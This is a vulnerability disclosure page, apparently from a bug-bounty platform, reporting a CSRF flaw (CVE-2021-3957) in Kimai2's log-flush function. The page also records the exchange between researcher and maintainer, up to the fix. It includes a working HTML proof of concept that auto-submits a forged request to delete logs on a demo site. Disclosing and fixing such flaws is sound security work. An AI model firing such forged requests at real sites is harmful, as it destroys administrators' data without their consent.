

Cross-Site Request Forgery (CSRF) in kevinpapst/kimai2

Valid

Reported on Nov 8th 2021

0

Description

cross site request forgery vulnerability is present in delete functionality of doctor feature.

Proof of Concept

```
<html>
<body>
<script>history.pushState("", "", '/')</script>

<form action="https://demo-stable.kimai.org/de_CH/doctor/flush-log">

  <input type="submit" value="Submit request" />

</form>

<script> document.forms[0].submit(); </script>
</body> </html>
```

Impact

This vulnerability is capable of delete the existing logs

Occurrences

 DoctorController.php L59

References

- <https://portswigger.net/web-security/csrf>

CVE

CVE-2021-3957

(Published)

Vulnerability Type

CWE-352: Cross-Site Request Forgery (CSRF)

Severity

Medium (4.6)


Visibility

Public

Status


Fixed

Found by



Asura-N
@asura-n
noisy

Fixed by



Kevin Papst
@kevinpapst
unranked

This report was seen 358 times.

We are processing your report and will contact the kevinpapst/kimai2 team within 24 hours.

a year ago

We have contacted a member of the kevinpapst/kimai2 team and are waiting to hear back

a year ago

Kevin Papst

a year ago

Maintainer

I don't understand that report, can you please explain what exactly is the issue.

Asura-N modified the report

a year ago

Asura-N

a year ago

Researcher

Hi kevin, its weird actually, when i was submit this report , There is a delete icon in Logfile functionality in doctor module , which is having get method and no csrf protection. now it is not shown that.

When i plan to write a report 2 week ago same thing happen, the delete icon is there in one day and it is not shown in very next day.

<https://github.com/kevinpapst/kimai2/blob/master/templates/doctor/index.html.twig#L83>

Kevin Papst

a year ago

Maintainer

The delete icon flushes the application logs, which are only visible to the system administrator. You can "echo 'foo' > var/log/prod.log" to show the icon again.

Asura-N

a year ago

Researcher

ok, flush log functionality is not having csrf token

Asura-N

a year ago

Researcher

it is possible to perform csrf attack on flush logs.

Thanks Asura-N

We have sent a follow up to the kevinpapst/kimai2 team. We will try again in 7 days.

a year ago

Kevin Papst

validated this vulnerability

a year ago

Asura-N

has been awarded the disclosure bounty

✓

The fix bounty is now up for grabs

Kevin Papst

a year ago

Maintainer

Valid CSRF, even though no risk factor.

Thanks for sharing @Asura-N

Kevin Papst

submitted a patch

a year ago

Kevin Papst

marked this as fixed with commit 6b4953

a year ago

Kevin Papst

has been awarded the fix bounty

✓

This vulnerability will not receive a CVE

✗

DoctorController.php#L59

has been validated

✓

Jamie Slome

a year ago

Admin

CVE published! 🎉

Sign in to join this conversation

